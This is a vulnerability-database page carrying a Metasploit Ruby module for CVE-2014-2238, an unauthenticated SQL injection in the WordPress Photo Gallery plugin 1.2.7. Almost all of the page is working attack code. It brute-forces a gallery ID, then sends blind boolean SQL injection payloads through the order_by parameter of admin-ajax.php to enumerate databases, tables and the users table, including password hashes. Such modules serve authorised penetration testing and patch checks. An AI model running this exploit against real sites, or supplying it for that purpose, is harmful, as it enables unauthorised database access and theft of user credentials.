Lucene search
K

Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration

🗓️ 13 Jan 2015 00:00:00Reported by Brandon PerryType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 47 Views

Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration module for version 1.2.7.

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
## Current source: https://github.com/rapid7/metasploit-framework  
###  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration",  
'Description' => %q{  
This module exploits an unauthenticated SQL injection in order to enumerate the Wordpress  
users tables, including password hashes. This module was tested against version 1.2.7.  
},  
'License' => 'ExploitHub',  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module  
],  
'References' =>  
[  
['CVE', '2014-2238'],  
],  
'Platform' => ['win', 'linux'],  
'Privileged' => false,  
'DisclosureDate' => "Feb 28 2014"))  
  
register_options(  
[  
OptInt.new('GALLERYID', [false, 'Gallery ID to use. If not provided, the module will attempt to bruteforce one.', nil]),  
OptString.new('TARGETURI', [ true, 'Relative URI of Wordpress installation', '/'])  
], self.class)  
end  
  
def get_params  
{  
'tag_id' => 0,  
'action' => 'GalleryBox',  
'current_view' => 0,  
'image_id' => 1,  
'gallery_id' => 1,  
'theme_id' => 1,  
'thumb_width' => 180,  
'thumb_height' => 90,  
'open_with_fullscreen' => 0,  
'open_with_autoplay' => 0,  
'image_width' => 800,  
'image_height' => 500,  
'image_effect' => 'fade',  
'sort_by' => 'order',  
'order_by' => 'asc',  
'enable_image_filmstrip' => 1,  
'image_filmstrip_height' => 70,  
'enable_image_ctrl_btn' => 1,  
'enable_image_fullscreen' => 1,  
'popup_enable_info' => 1,  
'popup_info_always_show' => 0,  
'popup_info_full_width' => 0,  
'popup_hit_counter' => 0,  
'popup_enable_rate' => 0,  
'slideshow_interval' => 5,  
'enable_comment_social' => 1,  
'enable_image_facebook' => 1,  
'enable_image_twitter' => 1,  
'enable_image_google' => 1,  
'enable_image_pinterest' => 0,  
'enable_image_tumblr' => 0,  
'watermark_type' => 'none',  
'current_url' => ''  
}  
end  
  
def bruteforce_gallery_id  
1.upto(666) do |i|  
get_vars = get_params  
get_vars['gallery_id'] = i  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'vars_get' => get_vars  
})  
  
return i if res and res.body =~ /data\["0"\] = \[\];/  
end  
  
fail_with(Failure::Unknown, "Couldn't bruteforce a gallery ID, please explicitly supply a known good gallery ID")  
end  
  
def run  
gallery_id = datastore['GALLERYID']  
  
if gallery_id == 0  
print_status('No GALLERYID supplied, attempting bruteforce.')  
gallery_id = bruteforce_gallery_id  
print_status("Found a gallery with an ID of #{gallery_id}")  
end  
  
parms = get_params  
parms['gallery_id'] = gallery_id  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'vars_get' => parms  
})  
  
real_length = res.body.length  
  
count = nil  
1.upto(999) do |i|  
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(DISTINCT(schema_name)),0x20) FROM INFORMATION_SCHEMA.SCHEMATA) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 3181*(SELECT 3181 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
count = i if res.body.length == real_length  
break if count  
end  
  
print_status("Looks like there are #{count} databases.")  
  
schemas = []  
0.upto(count-1) do |i|  
length = nil  
  
1.upto(999) do |c|  
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(schema_name),0x20) FROM (SELECT DISTINCT(schema_name) "  
payload << "FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS pxqq) BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 6586*"  
payload << "(SELECT 6586 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
length = c if res.body.length == real_length  
break if !length.nil?  
end  
  
print_status("Schema #{i}'s name has a length of #{length}. Getting name.")  
  
name = ''  
1.upto(length) do |l|  
126.downto(32) do |c|  
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(schema_name AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS lela),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7601*(SELECT 7601 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length  
name << (c+1).chr if res.body.length == real_length  
break if res.body.length == real_length  
end  
end  
schemas << name  
print_status("Found database #{name}")  
end  
  
schemas.delete('mysql')  
schemas.delete('performance_schema')  
schemas.delete('information_schema')  
  
schemas.each do |schema|  
num_tables = nil  
1.upto(999) do |i|  
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]}) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 8846*(SELECT 8846 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
num_tables = i if res.body.length == real_length  
break if num_tables  
end  
  
print_status("Schema #{schema} has #{num_tables} tables. Enumerating.")  
  
tables = []  
0.upto(num_tables - 1) do |t|  
length = nil  
0.upto(64) do |l|  
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1) BETWEEN 0 AND #{l}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
length = l if res.body.length == real_length  
break if length  
end  
  
print_status("Table #{t}'s name has a length of #{length}")  
  
name = ''  
1.upto(length) do |l|  
126.downto(32) do |c|  
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
name << (c+1).chr if res.body.length == real_length  
vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length  
break if res.body.length == real_length  
end  
end  
print_status("Found table #{name}")  
tables << name if name =~ /users$/  
end  
  
print_status("Found #{tables.length} possible user tables. Enumerating users.")  
  
tables.each do |table|  
table_count = ''  
char = 'a'  
  
i = 1  
while char  
char = nil  
58.downto(48) do |c|  
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{schema}.#{table}),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 8335*(SELECT 8335 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
char = (c+1).chr if res.body.length == real_length  
vprint_status("Found char #{char}") if char  
table_count << char if char  
break if char  
end  
i = i + 1  
end  
  
table_count = table_count.to_i  
  
print_status("Table #{table} has #{table_count} rows.")  
user_cols = ["ID", "user_url", "user_pass", "user_login", "user_email", "user_status", "display_name", "user_nicename", "user_registered", "user_activation_key"]  
  
0.upto(table_count-1) do |t|  
user_cols.each do |col|  
i = 1  
length = '0'  
char = 'a'  
  
while char  
char = nil  
58.downto(48) do |c|  
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(#{col}) AS CHAR),0x20) FROM #{schema}.#{table} ORDER BY ID LIMIT #{t},1),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7837*(SELECT 7837 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"  
  
res = send_injected_request(payload, gallery_id)  
  
char = (c+1).chr if res.body.length == real_length  
vprint_status("Found char #{char}") if char  
length << char if char  
break if char  
end  
i = i + 1  
end  
  
length = length.to_i  
print_status("Column #{col} of row #{t} has a length of #{length}")  
end  
end  
end  
end  
end  
  
def send_injected_request(payload, gallery_id)  
parms = get_params  
parms['gallery_id'] = gallery_id  
parms['order_by'] = 'asc ' + payload  
  
return send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),  
'vars_get' => parms  
})  
end  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jan 2015 00:00Current
1Low risk
Vulners AI Score1
EPSS0.11311
47